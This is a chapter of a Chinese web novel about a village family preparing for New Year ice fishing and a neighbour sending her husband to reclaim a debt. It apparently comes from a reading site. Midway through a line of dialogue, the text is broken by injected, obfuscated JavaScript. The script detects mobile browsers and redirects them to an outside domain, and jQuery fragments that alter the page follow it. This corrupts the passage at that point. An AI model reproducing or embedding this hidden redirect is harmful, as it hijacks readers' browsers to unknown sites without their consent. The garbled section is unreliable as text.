村里的冬夜寂静无声，这几日雪下得少了些，风也刮得弱了点，仿佛是特意准备个好气候，让大家能为过年这件难得的事忙活起来。


    家家户户起得都很准时，一大早烟囱就滚滚冒出雾气，天气一晴，林间的鸟雀扑腾声都多了起来，间或夹杂着一些大人小孩的说笑声，把茫茫冬日叫醒了。


    早就没有失眠困扰的姚寒，最近随了全家人的作息，每天早睡早起健康无比。


    但她依旧是白家起得最晚的那个，例如现在还不到九点，大家都吃完早饭各干各的事去了。


    但她懒散地坐在炕上，坐没坐样，身子歪斜地倚靠在桌上，慢悠悠掀开给她留的早餐，树懒般迷蒙地吃着。


    奶奶李秀荷也坐在炕上，与姚寒形成强烈对比的是，老人家正精神奕奕，专注投神在手里衣服上，仔仔细细对着针线缝缝补补。


    不仅老人认真干活，就连小孩也格外努力。


    旁边的白小妹倚在白清清身旁，勤奋如她，没到入学年龄就自愿师从白清清，每天开始简单的小学算数识字课程，要是让后世鸡娃的爸妈看到，不知道要受多少刺激。


    姚寒由衷从心里感叹，这年头的人们真是！从骨子里就刻着停不下来的基因。


    但姚寒堂堂正正，丝毫不为自个的懒散愧疚，活要干，但也得休息，好不容易赚来的一条命，得好好保养！


    环顾一圈思绪乱飞的她，有点纳闷，怎么没看到两位“宅男”身影？


    “爷爷跟小明呢？”嚼了一口窝窝头在嘴里的她，含含糊糊地嘟囔。


    “他们啊，冰钓去了。”李秀荷抬起头，轻描淡写地说。


    ！？


    别提姚寒内心有多震惊，有这种好玩的事，怎么没人通知她呢？


    “奶，爷他们去哪里冰钓啊？我咋都不知道这回事？”姚寒眼里羡慕仿若实质，酸巴巴地继续大口啃了一块玉米窝窝头。


    像冰钓这样的北方专属福利，她这种南方的孩子，从来就只是听说过，哪有机会亲自尝试。


    “刚刚你村长叔来叫人，说是马上要在山脚下的大湖里冬捕，特地喊上他们这些老伙计，去看看今年下网的点位定在哪里比较好。”


    李秀荷不紧不慢地答道，见惯了这回事的她不觉得有多稀奇，“他想着既然去了这一趟，就顺便把鱼竿那些也带上，估计他能钓上些鱼回来给大伙加餐。”


    “还有冬捕？”姚寒越发震惊，还有些许兴奋。


    姚寒这个厨子，虽说南北方各种菜系各类食材都接触过，但要是问起她的最爱，那非鱼莫属。


    鱼这种食材，滋味鲜美、肉质软嫩、营养丰富，搭配各种佐料酱料烹调手法，都能给食客呈现出特别的风味。


    但真正称得上好吃的鱼也娇贵稀罕，原生味道简单的它，尤其容易让人尝出泥土腥味或者饲料腥味，给许多人留下噩梦。


    后世为了买到多年野生海鱼或者河鱼，姚寒不知道要费多大劲，没办法，捕捞跟环境影响致使它们生存环境急剧恶化，数量便越来越少。


    就比如大黄鱼，本来是泛滥随处可见的渔类作物，后来被捕到数量稀少，一条野生大黄鱼在渔民眼里堪比游动的黄金。


    本来姚寒以为，要等到严寒的冬天过去，开春才能进山或者去林子里找些野生原生态食材，没想到，惊喜来得这么突然。


    冬季还是鱼最为肥美的时候，气候温度一变低，鱼类为了抵御寒冷便要积累脂肪，肉质更加细腻肥嫩，而且代谢降低进食减少，此时鱼类身上杂质愈少。


    想象到鱼儿们鲜美的滋味，姚寒感觉嘴里口水都泛滥了些。


    “有啊，每年临近过年都会在那大湖里捕鱼，也算是白庄村的传统了，以前日子更艰难，一年到头等分完鱼，大家饭桌上才有点肉腥。”李秀荷手头动作变缓，眼神目露追忆。


    “今年是定在什么时候呢？”姚寒语气跃跃欲试。


    “还没说，等你爷回来估计就知道了，到时候我们都去凑凑热闹。”李秀荷笑呵呵地看着满脸兴奋的小孩，知道她感兴趣。


    “那可太好了！”姚寒心头一个振奋，口中的玉米窝窝头啃起来也更香了。


    ———————————————————————————————————————


    白家这厢是和乐融融，但钟春莲一家气氛却冷凝成冰。


    “你说！他们什么意思？简直是一群白眼狼！”


    钟春莲气愤地指着空气怒骂，旁边是瑟瑟发抖的邓奎和小孙子，钟春莲这位家庭霸主的威严让他俩都得退避。


    “可能是有什么误会吧。”邓奎惧内得很，顶着钟春莲的怒火，只敢小声插嘴辩解两句。


    “误会？什么误会能让他们白家，把欠别人的债全都还完了，然后剩我们一家的债不管？”


    邓奎的解释没起任何作用，反而火上浇油般让钟春莲的怒火更甚。


    越想越气的她，坚决认为白家是在故意挑衅。


    向来是她欺负别人，还没这么被人骑上脸的钟春莲，实在是忍不下这口气。


    她的脸色因激动而涨红，眉毛随着高昂的语气一跳一跳地抖动。


    “我都问过了！一家没少，隔壁王家、陈家、还有其他几户，白老根都亲自去找上门还完了钱！亏你还念着亲戚情分，傻乎乎地把自己的口粮都借出去，但人家可没把我们看在眼里！”


    钟春莲的疾声怒骂让邓奎不敢抬头。


    “都怪你，自家的钱存得好好的，偏你要滥好心，你去找他们！要是家里的钱要不回来，看我怎么收拾你。”钟春莲恶狠狠地指着邓奎。


    她上次在白家碰了一鼻子灰，心知自己再去估计也讨不得好，还不如派自己憨直的丈夫出马。


    白家人吃软不吃硬，看在邓奎曾经大发善心的份上，保不准就会爽快地掏钱出来。


    况且让自己丈夫去碰碰壁卖卖老脸，才知道他做了多蠢的事，钟春莲巴不得给邓奎一个教训。


    “啊，我去吗？”邓奎面露难色，难以置信地反问。


    “不是你，难不成还是小宝吗？赶紧的，今天要不回来这钱，你也别回来了！”钟


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14971489|159275||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    春莲翻了个大白眼威胁道。


    邓奎当真犯难，他是个脸皮薄的老好人，开口要钱简直要了他的命。


    何况他也有廉耻心，之前自己媳妇对白家做的一桩桩事，他是没能力阻止不了，但也知道自家理亏。


    惭愧如他，早就不敢往白家去了，要是村里遇上白老根他们，他都自觉没脸，而且没有欠条咋跟人要钱。


    他愁啊，脸上本就不平整的五官更皱巴起来，叹气声简直要把树上的雪都震下来。


    邓奎被钟春莲一把推出门外，“砰”的一声，她使老大劲把门甩上。


    被关在门外的邓奎，尴尬彷徨纠结了许久，被冻得实在受不住后，跺跺脚往白家的方向走去。


    邓奎脚步踌躇，走一步退三步，可纵使再磨蹭，不听话的双腿还是走到了目的地。


    白家院门多么熟悉，曾几何时，他和白惠生关系特别要好，他也经常串门到这，才会在危急关头尽一把心意。


    没想到，好心办坏事，自己家里人给他们添了不知多少麻烦。


    他的手艰难抬起，想叩门却又停下，他脑海里回忆起，自家婆娘几次三番炫耀着从白家带回来的战利品，以及白清清被家暴男污蔑纠缠的模样。


    他的头都抬不起来，自己又有什么脸面去找白家人呢？


    之前没管好家里人，现在也不是一句管不住或者不知情就能免责的。


    想明白这点的他，抬起的手最终轻轻放下，步伐缓慢但坚决地转身离开。


    他心想大不了再被媳妇痛骂一顿出出气，反正他皮糙肉厚也经得起，几十年都习惯了，他媳妇话说得狠，也不至于让他在雪地里冻一晚，那可是能要人命的。


    邓奎冒着凌冽的北风折腾了一圈，身上非但没有发热，反而冻得身子腿脚僵硬麻木，顾不上其他，他一看到自家屋门开着便赶忙冲进去，抖掉冷意后爬到炕上取暖。


    “哼，瞧你那出息样。”钟春莲看不过眼。


    邓奎耷拉下耳朵，全当没听见，凡是他媳妇说出来的话少往心里去，这是他的处世哲学。


    “敢进门？那是把钱要回来了？”钟春莲眉毛一挑，不耐烦地看着自家丈夫。


    邓奎尴尬讪笑，一张粗糙的中年男人英气脸此刻极其谄媚，“没呢，他们家没人在。”


    尴尬找补了借口的他，知道瞒不过去，但还是打算垂死挣扎一番。


    “呵呵，”钟春莲太了解他，这个怂样一看就知道在骗人，“真稀奇，这么冷的天，他们一家都出去了，你说说能去哪？”


    邓奎讷讷，“是不是出去赶集了。”


    “你睡糊涂了是吧，连几月几号是赶集日都分不清了？我看你压根就没去！”


    钟春莲恨铁不成钢地把手里缝着的活计往桌上一甩，“我怎么会有你这么怂的丈夫，自家的钱都要不回来，要你有什么用！”


    她深知邓奎的脾性，对他根本没报任何期望，她用脚趾头都能猜出来，这人估计连白家大门都没敢踏进。


    算了，这个家没她得散，还是得靠她自己谋算。